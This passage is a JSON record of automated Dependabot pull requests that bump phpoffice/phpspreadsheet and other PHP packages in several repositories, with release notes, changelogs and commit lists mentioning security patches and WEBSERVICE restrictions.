1.30.4","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-28T23:27:39.000Z","updated_at":"2026-04-28T23:27:42.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"1.30.0","new_version":"1.30.4","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 1.30.0 to 1.30.4.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.30.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.2.0 as of the date when this is being written), release390 (current version is 3.10.1), and release222 (2.4.1).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/1.30.4/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 1.30.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 1.30.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-01-10 - 1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-10-25 - 1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.4.0 as of the date when this is being written), 3.10.x (current version is 3.10.3), and 2.4.x (2.4.3).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/02970383cc12e7bf0bc0707ea6e2e8ed23a7aec9\"\u003e\u003ccode\u003e0297038\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d28d4827f934469e7ca4de940ab0abd0788d1e65\"\u003e\u003ccode\u003ed28d482\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/87a0eb5442987300d0a84fb9f0ce197efcf25bb9\"\u003e\u003ccode\u003e87a0eb5\u003c/code\u003e\u003c/a\u003e Option to Whitelist External Images r129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4854\"\u003e#4854\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/b6c44a4ce907c4a861db040999eb58fb59570c14\"\u003e\u003ccode\u003eb6c44a4\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/791986826cabb4c86f2dca9f8cdef3f5ec1a6aee\"\u003e\u003ccode\u003e7919868\u003c/code\u003e\u003c/a\u003e Update License 1.30.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/09cdde5e2f078b9a3358dd217e2c8cb4dac84be2\"\u003e\u003ccode\u003e09cdde5\u003c/code\u003e\u003c/a\u003e Instantiator Problem (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4778\"\u003e#4778\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4ad82d2ffcba5de36d5790f7a88910e977a886e3\"\u003e\u003ccode\u003e4ad82d2\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1ca2b80689ec464bd66e8cde654c278cb6f2d101\"\u003e\u003ccode\u003e1ca2b80\u003c/code\u003e\u003c/a\u003e Changes to WEBSERVICE R129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4758\"\u003e#4758\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/e86246354c7e79771705945377c743edc1246435\"\u003e\u003ccode\u003ee862463\u003c/code\u003e\u003c/a\u003e Update README With New Branch Names\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/fa8257a579ec623473eabfe49731de5967306c4c\"\u003e\u003ccode\u003efa8257a\u003c/code\u003e\u003c/a\u003e Prep Work for 1.30.1\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/1.30.0...1.30.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=1.30.0\u0026new-version=1.30.4)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/alialobidm/i-educar/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/alialobidm/i-educar/pull/16","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/alialobidm%2Fi-educar/issues/16","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/16/packages"}},{"old_version":"1.30.0","new_version":"1.30.4","update_type":"patch","path":"/wordpress/wp-content/themes/les-verts","pr_created_at":"2026-04-28T23:27:22.000Z","version_change":"1.30.0 → 1.30.4","issue":{"uuid":"4346889155","node_id":"PR_kwDOCJDEK87WhkVz","number":262,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 1.30.0 to 1.30.4 in /wordpress/wp-content/themes/les-verts","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-06-08T23:36:25.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-28T23:27:22.000Z","updated_at":"2026-06-08T23:36:27.000Z","time_to_close":3542943,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"1.30.0","new_version":"1.30.4","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":"/wordpress/wp-content/themes/les-verts","ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 1.30.0 to 1.30.4.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.30.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.2.0 as of the date when this is being written), release390 (current version is 3.10.1), and release222 (2.4.1).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/1.30.4/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 1.30.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 1.30.3\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-01-10 - 1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-10-25 - 1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.4.0 as of the date when this is being written), 3.10.x (current version is 3.10.3), and 2.4.x (2.4.3).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/02970383cc12e7bf0bc0707ea6e2e8ed23a7aec9\"\u003e\u003ccode\u003e0297038\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d28d4827f934469e7ca4de940ab0abd0788d1e65\"\u003e\u003ccode\u003ed28d482\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/87a0eb5442987300d0a84fb9f0ce197efcf25bb9\"\u003e\u003ccode\u003e87a0eb5\u003c/code\u003e\u003c/a\u003e Option to Whitelist External Images r129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4854\"\u003e#4854\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/b6c44a4ce907c4a861db040999eb58fb59570c14\"\u003e\u003ccode\u003eb6c44a4\u003c/code\u003e\u003c/a\u003e Security Patches\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/791986826cabb4c86f2dca9f8cdef3f5ec1a6aee\"\u003e\u003ccode\u003e7919868\u003c/code\u003e\u003c/a\u003e Update License 1.30.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/09cdde5e2f078b9a3358dd217e2c8cb4dac84be2\"\u003e\u003ccode\u003e09cdde5\u003c/code\u003e\u003c/a\u003e Instantiator Problem (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4778\"\u003e#4778\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4ad82d2ffcba5de36d5790f7a88910e977a886e3\"\u003e\u003ccode\u003e4ad82d2\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1ca2b80689ec464bd66e8cde654c278cb6f2d101\"\u003e\u003ccode\u003e1ca2b80\u003c/code\u003e\u003c/a\u003e Changes to WEBSERVICE R129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4758\"\u003e#4758\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/e86246354c7e79771705945377c743edc1246435\"\u003e\u003ccode\u003ee862463\u003c/code\u003e\u003c/a\u003e Update README With New Branch Names\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/fa8257a579ec623473eabfe49731de5967306c4c\"\u003e\u003ccode\u003efa8257a\u003c/code\u003e\u003c/a\u003e Prep Work for 1.30.1\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/1.30.0...1.30.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=1.30.0\u0026new-version=1.30.4)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/grueneschweiz/2018.gruene.ch/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/grueneschweiz/2018.gruene.ch/pull/262","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/grueneschweiz%2F2018.gruene.ch/issues/262","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/262/packages"}},{"old_version":"5.0.0","new_version":"5.7.0","update_type":"minor","path":null,"pr_created_at":"2026-04-28T22:53:44.000Z","version_change":"5.0.0 → 5.7.0","issue":{"uuid":"4346744692","node_id":"PR_kwDORNs4gM7WhFvD","number":27,"state":"open","title":"Bump the composer group across 1 directory with 6 updates","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-28T22:53:44.000Z","updated_at":"2026-04-28T22:53:55.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"composer","update_count":6,"packages":[{"name":"phpoffice/phpspreadsheet","old_version":"5.0.0","new_version":"5.7.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"},{"name":"google/protobuf","old_version":"4.31.1","new_version":"4.33.6","repository_url":"https://github.com/protocolbuffers/protobuf-php"},{"name":"league/commonmark","old_version":"2.7.0","new_version":"2.8.2","repository_url":"https://github.com/thephpleague/commonmark"},{"name":"psy/psysh","old_version":"0.12.8","new_version":"0.12.22","repository_url":"https://github.com/bobthecow/psysh"},{"name":"symfony/http-foundation","old_version":"7.3.0","new_version":"7.4.8","repository_url":"https://github.com/symfony/http-foundation"},{"name":"symfony/process","old_version":"7.3.0","new_version":"7.4.8","repository_url":"https://github.com/symfony/process"}],"path":null,"ecosystem":"packagist"},"body":"Bumps the composer group with 6 updates in the /Wber directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) | `5.0.0` | `5.7.0` |\n| [google/protobuf](https://github.com/protocolbuffers/protobuf-php) | `4.31.1` | `4.33.6` |\n| [league/commonmark](https://github.com/thephpleague/commonmark) | `2.7.0` | `2.8.2` |\n| [psy/psysh](https://github.com/bobthecow/psysh) | `0.12.8` | `0.12.22` |\n| [symfony/http-foundation](https://github.com/symfony/http-foundation) | `7.3.0` | `7.4.8` |\n| [symfony/process](https://github.com/symfony/process) | `7.3.0` | `7.4.8` |\n\n\nUpdates `phpoffice/phpspreadsheet` from 5.0.0 to 5.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, 